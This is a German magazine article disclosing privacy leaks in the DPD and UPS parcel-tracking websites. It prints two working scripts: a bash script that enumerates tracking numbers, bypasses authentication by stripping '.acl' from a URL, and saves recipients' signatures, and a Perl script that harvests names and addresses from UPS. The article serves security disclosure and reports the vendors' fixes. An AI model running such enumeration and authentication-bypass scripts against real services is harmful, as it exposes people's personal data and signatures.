“Bitte hier unterschreiben!” – und schon hat der DPD-Kunde sein Paket in der Hand. Weniger praktisch ist, dass 50 Zeilen Shellskript reichen, um dem DPD-Server Name, Unterschrift und volle Adresse jedes Kunden zu entlocken. Deswegen zu UPS zu wechseln bringt nichts – die haben ein ähnliches Problem.
Jeder Logistik-Dienstleister bietet heute seinen Kunden an, verschickte Sendungen im Internet zu verfolgen. Es ist sowohl für Absender wie Empfänger nützlich zu sehen, ob das bestellte Büromaterial schon auf dem Weg ist oder wann der Paketdienst die heiß ersehnte DVD endlich liefert. Einige Unternehmen nehmen es dabei nicht so genau mit der Privatsphäre ihrer Kunden, so deckte das Linux-Magazin im vergangenen Jahr auf, dass DHL Paketnummern mehrfach verwendete und damit personenbezogene Daten preisgab [1].
Statusabfrage bei DPD
Nun zeigt sich, dass auch andere Anbieter ähnliche Schwachstellen aufweisen. Das ursprünglich von deutschen Spediteuren gegründete DPD ist heute mehrheitlich im Besitz der französischen La Poste, der ehemals staatlichen Post von Frankreich, und transportiert täglich rund zwei Millionen Pakete [2]. Kunden erhalten bei Aufgabe einer Sendung eine Paketschein-Nummer, mit der sie auf der Website des Unternehmens deren Status abfragen (siehe Abbildung 1).
Die Site zeigt die einzelnen Stationen an, die ein bereits zugestelltes Paket genommen hat, in der letzten Zeile findet sich schließlich auch der Name des Empfängers. Darüber steht eine DPD-Ablieferungsnachweis-Nummer, mit der der Logistiker offenbar die elektronischen Belege verwaltet, die der Empfänger bei Auslieferung typischerweise auf einem kleinen Touchpad gegenzeichnet, und die DPD sechs Monate aufbewahrt. Den Nachweis dürfen jedoch nur autorisierte Mitarbeiter abrufen, das Webtool fordert dazu eine per Htaccess gesicherte Authentisierung (Abbildung 2).

Abbildung 2: Indem Angreifer die Endung ».acl« aus der URL entfernen, erhalten sie Zugriff auf eine eigentlich geschützte Seite.
Zusätzlich stehen in den Parametern der URL die Nummer des entgegennehmenden Depots (0184), Zustelltag (2204) und -jahr (2009), die angefragte Ablieferungsnachweis-Nummer (83028) sowie einige Prüfziffern. Da die Anwendung auf die Zieladresse jedoch mit reinem HTTP zugreift, gehen Benutzername und Passwort unverschlüsselt über das Internet. Die lieben Kollegen, durchaus aber auch im eigenen Netz oder bei einem ISP mitsniffende Black-Hats oder durch die TKÜV “berechtigten Stellen” bekommen beim Aufruf also die Credentials mit.
Da eine Modifikation der Ziel-URL auch ohne Passwort zu den gleichen Daten führt, öffnet sich das Datenleck jedoch für alle! Wer den Teilstring ».acl« aus der Adressangabe entfernt, erhält vom Sun One Webserver von 2004 der Version 6.1 die Informationen auch ohne Legitimationsprüfung, wie Abbildung 3 zeigt. So erfahren wissbegierige Anwender mit einer Trackingnummer weitere sensible Informationen über die Versandstücke, indem sie auf den Link »Zustellbeleg anzeigen« klicken.

Abbildung 3: Um den Auslieferungsnachweis anzuzeigen, fordert das Skript »delistrack.acl« per Htaccess vom User eine Authentisierung. Den dazu notwendigen Benutzernamen und das Passwort überträgt die Anwendung allerdings im Klartext. DPD verwendet für die Applikation Webserver von Sun.
Gezieltes Raten
Die resultierende Tiff-Datei unter der URL [http://extranet.dpd.de/podtmp/onlineweb125571938266919110.tif] trägt einen automatisch generierten Dateinamen (Abbildung 4). Die ersten 13 Stellen der Folge sind die Unix-Zeit in Millisekunden seit dem Unix-Epoch im Januar 1970, die letzten fünf Stellen sind fortlaufend, das ergibt 10 Millionen Dateinamen für jede Sekunde. Wenn DPD tatsächlich täglich von 8 bis 18 Uhr zwei Millionen Pakete ausliefert, sind das durchschnittlich 56 Lieferungen pro Sekunde. 56 valide Dateinamen aus 10 Millionen herauszufischen erscheint für ein Skript eine lösbare, wenn auch eine mühsame Aufgabe, zumal es bei den Tests zu diesem Artikel keine Limits bei Häufigkeit und Frequenz der Abfragen gab.

Abbildung 4: Die Zustellbelege enthalten neben dem Namen des Fahrers und dem Zeitpunkt der Entgegennahme auch die Adresse des Empfängers sowie seine Unterschrift.
Wenn also die Belegnummern nur aufwändig zu erraten sind, wie ist es dann um die Paketschein-Nummern selbst bestellt? Sie bestehen aus 14 Ziffern, wobei die ersten vier jeweils für ein Zustelldepot stehen. Bleiben also zehn Stellen oder 10 Milliarden Kombinationen. Die reichen bei einer unveränderten Anzahl täglich ausgelieferter Pakete für immerhin mehr als 13 Jahre, verausgesetzt dass DPD alle Nummern vergibt und sie damit leicht erratbar sind.
Jeder Schuss ein Treffer
Genau das scheint jedoch der Fall zu sein. Das Skript in Listing 1 zeigt bei einem vorsichtigen Versuch, dass von 1000 Paketschein-Nummern, die das Skript ausprobierte, DPD tatsächlich 980 vergeben hatte. Das Listing bildet den Abholprozess nach. In Zeile 4 legt es das Präfix einer bekannten Paketschein-Nummer fest, Zeile 25 sorgt für eine Schleife über die verbleibenden vier Stellen. Wer die Zustellbelege genauer studiert, findet in einigen von ihnen auch Hinweise auf weitere Nummernkreise. Anschließend definiert das Skript drei Funktionen, die jeweils mittels »grep« und »sed« wichtige Details aus heruntergeladenen HTML-Dateien extrahieren.
|
Listing 1: Datensammler für |
|---|
01 #!/bin/bash
02
03 # Zehn Stellen einer gültigen Paketnummer:
04 prefix=0154800248
05
06 function getempfaenger() {
07 grep 'Zustellung an' "$1" |
08 sed 's/^.*Zustellung an: //;s/&nbsp;<.*$//'
09 }
10
11 function getdetailurl() {
12 grep 'delistrack.acl' "$1" |
13 sed 's!^.*delistrack.acl!http://extranet.dpd.de/cgi-bin/delistrack!;s/".*$//'
14 }
15
16 function gettiffurl() {
17 grep podtmp "$1" |
18 sed -r 's!.*?(onlineweb[0-9]{19}.tif).*!http://extranet.dpd.de/podtmp/1!'
19 }
20 if [ ! -d sig ]
21 then
22 mkdir sig
23 fi
24
25 for i in {1000..2000}
26 do
27 echo "Hole Paketschein $prefix$i:"
28 wget -qO "req-1-$i.html"
29 "http://extranet.dpd.de/cgi-bin/delistrack?typ=1&lang=de&pknr=$prefix$i"
30 # Extrahiere den Empfänger aus der Antwort
31 echo "An: $(getempfaenger req-1-$i.html)"
32 # Simuliere Klick auf Zustellbeleg
33 echo "Umgehe Authentification ..."
34 wget -qO "req-2-$i.html"
35 "$(getdetailurl req-1-$i.html)"
36 # Wenn es den Beleg tatsächlich gibt ...
37 if grep podtmp "req-2-$i.html" > /dev/null
38 then
39 # ... lade ihn herunter und ...
40 echo "Lade Empfängerbeleg ..."
41 wget -qO "req-3-$i.tiff"
42 "$(gettiffurl req-2-$i.html)"
43 # ... extrahiere die Unterschrift.
44 convert -crop 470x210+740+890
45 "req-3-$i.tiff" "sig/$prefix$i- $(getempfaenger req-1-$i.html).png"
46 else
47 echo "Kein Empfängerbeleg vorhanden!"
48 fi
49 echo "done."; echo
50 done
|
Für jeden der Paketschein-Kandidaten lädt es ab Zeile 28 die Statusseite herunter und nennt sie »req-1-Paketschein.html«. Daraus extrahiert es den Namen, entfernt die Endung ».acl« und lädt ab Zeile 34 die geschützte Seite in die Datei »req-2-Paketschein.html«. Dieser Umweg ist notwendig, da das Skript dort den kompletten Dateinamen für das Tiff-Bild findet. Ist dies tatsächlich der Fall, lädt Zeile 41 es herunter und extrahiert mittels »convert« aus dem Imagemagick-Paket die Unterschrift. Das Skript brauchte 38 Minuten, um insgesamt 831 Unterschriften herunterzuladen und Namen zuzuordnen. Die Empfängeradressen stehen in den Belegen, sodass der Angreifer sie entweder manuell oder mit einem OCR-Tool extrahiert. Perl bietet dazu etwa »Image::OCR::Tesseract« an [3].
Weitere Auswertungen sind der Phantasie der Angreifer vorbehalten, so lassen sich Profile anlegen, welche Empfänger wie oft und zu welchen Zeiten Pakete aus welchen Orten empfangen. Mit den Problemen konfrontiert zeigte sich Pia-Maria Zecevic, Pressesprecherin von DPD, einsichtig: “Wir sehen das als konstruktive Kritik, da wir daran interessiert sind, aufgedeckte Missstände schnellstmöglich zu beseitigen.” Vorherige Anfragen per E-Mail eines der Autoren zu dem Problem an DPD hatte das Unternehmen zurückgewiesen.
Im Hinblick auf diesen Artikel nahm sich die IT-Abteilung jedoch des Problems an, behob die fehlerhafte Filterregel für ».acl« und führte SSL für den privilegierten Zugang ein, wie das Linux-Magazin später verifizierte. In der Stellungnahme beteuerte die Pressesprecherin außerdem, dass der Zugriff auf die Zustellbelege verändert sei. Das konnten die Tester naturgemäß nicht mehr prüfen. Die Paketnummern lassen sich allerdings weiterhin enumerieren, sodass jetzt nicht mehr die Adressdaten und die Unterschriften, wohl aber die Namen der Empfänger ersichtlich sind.
Trackingsystem von UPS
Auch der DPD- und DHL-Wettbewerber UPS bietet eine Webschnittstelle zur Paketverfolgung an. Hier reicht ebenfalls die Paketnummer aus, um Detailinformationen über eine Sendung abzurufen (Abbildung 5). Die Seite verwendet Javascript, um die Angaben in Form kleiner Pop-ups und in diversen Detaildarstellungen anzuzeigen – vermutlich um automatisierte Webspider abzuwehren. Wer den Code jedoch manuell untersucht, kann wieder eine URL extrahieren, die als Parameter die Paketschein-Nummer akzeptiert. Als Ergebnis präsentiert sich erneut eine HTML-Seite, die einen Vektor der wichtigsten Daten in einem URL-kodierten String enthält (Abbildung 6).

Abbildung 5: Auch UPS zeigt seinen Kunden den Status ihrer aufgegebenen Pakete an. Um automatisierten Bots die Arbeit zu erschweren, setzt das Unternehmen dabei auf Javascript.

Abbildung 6: In versteckten Formfeldern speichert UPS den kompletten Datensatz für einen Paketschein. Die Felder trennt jeweils der Code »%5E«.
Das Perl-Skript aus Listing 2 probiert der Reihe nach einen Wertebereich an Paketscheinen aus (Zeilen 5 bis 8). Die einzelnen Nummernkreise sind Vertragspartnern zugeordnet, wie ein Blogger herausfand [4]. Ab Zeile 10 schickt der programmierbare Browser »LWP::Simple« eine vereinfachte Anfrage an UPS und speichert das Ergebnis in der Perl-Standardvariablen »$_«.
|
Listing 2: Abruf von |
|---|
01 #!/usr/bin/perl -w
02
03 use LWP::Simple;
04
05 # Prefix und Range von Tracking-Nummern eines Händlers:
07 foreach (75010200..75010300) {
08 $tracking_id = "1Z"."02836A"."68" . "$_";
10 $_ = get("http://wwwapps.ups.com/" .
11 "WebTracking/processInputRequest?" .
12 "loc=de_DE&tracknum=$tracking_id");
13 if (/zugestellt/i) {
14 s/^.*lineData" value="//sm;
15 s/".*$//sm; s/+/ /g;
17 my @r = split(/%5E/);
18
19 print "ID: $tracking_idn";
20 print "Empfänger: $r[53]n";
21 print "Straße: $r[61]n";
22 print "Bestimmungsort: $r[64] $r[62]n";
23 print "Paketzentrum: $r[0]n";
24 print "Sendungstyp: $r[49]n";
26 print "-" x 40 . "n";
27 }
28 }
|
Bezieht sich die Paketschein-Nummer auf eine tatsächliche Zustellung (Zeile 13), extrahieren die folgenden Zeilen den Datenstring und wandeln Pluszeichen wieder in Spaces zurück. Feldtrenner ist das Caret »^«, allerdings ebenfalls in kodierter Form. Danach spaltet das Skript den String in Zeile 17 auf und muss nur noch die richtigen Felder ausgeben. Wer sich weiter kreativ betätigen möchte, findet noch weitere Angaben wie die Zeit der Auslieferung oder das Gewicht des Pakets im Ergebnis.
Offene Tore
Erschreckend ist auch hier, dass die Nummern dicht besetzt sind: Bei einem Testlauf mit 1000 IDs entdeckte das Skript 101 Adressen binnen 306 Sekunden, da die letzte Stelle eine Prüfziffer ist (Abbildung 7). Georg Leusch, Manager External Communication von UPS Deutschland, verkündete nach über einer Woche, dass UPS eine “umfassende Optimierung” anstrebe – nicht ohne darauf hinzuweisen, der Datenabruf sei “möglicherweise strafrechtlich relevant”.

Abbildung 7: Auch UPS geht sparsam mit seinen Paketnummern um. Bei 1000 Versuchen fand ein Skript insgesamt 101 Adressdatensätze.
Nicht alle Logistik-Dienstleister nehmen offenbar die Privatsphäre ihrer Kunden ernst. Neben DHL zeigen nun auch mit DPD und UPS zwei weitere Schwergewichte einen laxen Umgang mit Daten. Während DPD die Lücken binnen einiger Tage stopfte, bestand das UPS-Leck bei Redaktionsschluss weiterhin. (mg)
|
Kommentar: |
|---|
|
Vor einigen Monat war es DHL [1], heute sind es seine Mitbewerber DPD und UPS, die mit Kundendaten schludern. Dabei wäre es nicht einmal schwer gewesen, Paketnummern geeigneter Länge zu verwenden und ein unabhängiges Security-Audit zu beauftragen. “Ist doch alles halb so schlimm”, winken wieder einige ab, “meine Adresse steht auch anderswo.” Dieses Denken greift zu kurz, denn wenn die Daten zusammen mit Kreditkartenlisten von Adresshändlern [5] und den Einkaufsvorlieben in einem Onlineshop erst zusammen auf einem Black-Hat-Server landen, lässt sich mit hinreichend untergründiger Phantasie damit einiges anstellen. Den Betreibern solcher Angebote mangelt es an Vorstellungskraft für das Schadensmaß – das ärgert mich. Betroffene melden Fehler, aber Anbieter wiegeln oft reflexartig ab: “Das ist kein Fehler, sondern beabsichtigt.” oder “Wir optimieren schon länger zum Wohle des Kunden.” Schwere Geschütze auffahrenGelegentlich winken sie auch mit dem Zaunpfahl: “Wir weisen auf die strafrechtliche Relevanz hin.” Solches Verhalten finde ich ärgerlich und unnötig. Meine berechtigten Interessen als Kunde nehmen so reagierende Anbieter nicht wahr oder ernst. Fehler passieren leicht, beim Software-Entwickeln wie bei jeder anderen Tätigkeit. Qualität besteht nicht nur darin, fehlerarm zu arbeiten, sondern erkannte Fehler auch zu beheben. Eine Filterregel in der Application Firewall zu übersehen, ist zwar peinlich, aber wer souverän und offensiv damit umgeht, erntet bei mir Glaubwürdigkeit und Interesse. Nils Magnus |
|
Infos |
|---|
|
[1] Tobias Eggendorfer, “Wie DHL Kundendaten preisgibt”: Linux-Magazin 12/08, S. 78 [2] DPD: [http://dpd.com/de/Home/Ueber-DPD/Das-Unternehmen/] [3] OCR-Modul im CPAN: [http://search.cpan.org/dist/Image-OCR-Tesseract/] [4] Aufbau der UPS-Trackingnummern:[http://osiris.978.org/~alex/ups.html] [5] Nils Magnus, “Adresshändler- und Callcenter-Szene”: Linux-Magazin 06/09, S. 26 |
|
Der Autor |
|---|
|
Stefan Bauer administriert als selbstständiger IT-Berater Windows- und Linux-Systeme im Landkreis Traunstein. In seiner Freizeit fährt er Rad oder besucht englischsprachige Stammtische. |






